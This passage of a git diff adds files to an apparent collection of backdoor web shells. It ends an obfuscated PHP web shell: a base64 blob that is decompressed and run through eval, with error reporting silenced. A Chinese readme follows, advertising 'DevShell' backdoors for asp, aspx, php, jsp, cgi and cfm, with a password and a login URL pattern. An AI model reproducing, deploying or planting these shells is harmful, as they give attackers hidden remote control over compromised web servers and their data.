H5vm7ja5bXeQb+QCbfBSTJTvTNFcT2RayCmh6zj6GpvZ8cQCCg4kmdCnNzBprf3stGo1F9NC8K6IIvEpW62KjF3pxRWnzRST7z28/XEzmuUBmuX3QDPetzWPbmiimOzpRjTbzz+wts5dQnSUWz5+PG+3lGJldy9Cah+p00W+ffdIiZYGKSXhAktNy43mkKB6OPpWQQux1cPRLl41dZHWpizsalbi+3h3wrevLPBa2lBY3Z5vH9YAY+pm6aM/JGOYi+53zxb1NJbG632xBANvZQjFB5oxOjAEG4wBWcHBx6aoJXxJwR/jPRTbvMrAP6hoBUd4xeiezJ/OXEBxw2SjiXE3hJZCBoPy3Yv4Z7kqovdlfl9suC1zf3HR7h3fhvv0HQdrrp/S6ja4OFsVsCbwrO4EIXIsLIRQaf69HUPrGkMAFfvLZnIX//xam1zA+5LOujLd3RJHRaQccr1Yf4zH93NYhIb3oLyV2/vnYJBAUos3tyOdpehx6uSwNFKfshQK3vA3adc7IfSzz44IkF9dcdiFws5ffSDs2F/5L290stbugoThQEMNq5IXfPwXC53uUSR2hcVbp7KYuYoqOJdCYGC6k1Fgug6ee1GAK9acc9QEvE6nWzmmFkN1ISHnH9Wu1W+UJ1MpVxlX/2/kPNwbyvzNk8t0IlfInJzf7pSfm6Tzo9ZODlskwkN9PoMZ62BWmolhUTtcjoUPFNTNlDAlDe1omM0155duEtgmhvPaj/mDJnZEXGNSlYQ6pTENd5foplnw7QpB6YrqPBGp/BMetaa0DcIc6LzLx1iXk3iQdJZBvxX6FH/FvAIQnzhLswIxFzc/JfKqjwxuqEQKEcn6c0HCoZotrGj+Mf6O/6dJY7kDT3d89M2Y44+br4/jQ7whYy11MI7+dvp/rRy9Hg==";error_reporting(0);@set_time_limit(0);eval("?>".gzuncompress(base64_decode($shell_code))); +?> \ No newline at end of file diff --git a/Backdoor Dev Shells/readme.md b/Backdoor Dev Shells/readme.md new file mode 100644 index 0000000..1533e0c --- /dev/null +++ b/Backdoor Dev Shells/readme.md @@ -0,0 +1 @@ +DevShell全套支持asp,aspx,php,jsp,cgi,cfm(含源码) 其中devshell.cfm 是CFM的马 密码:adobe123 使用方式:http://url/test.cfm?o=login \ No newline at end of file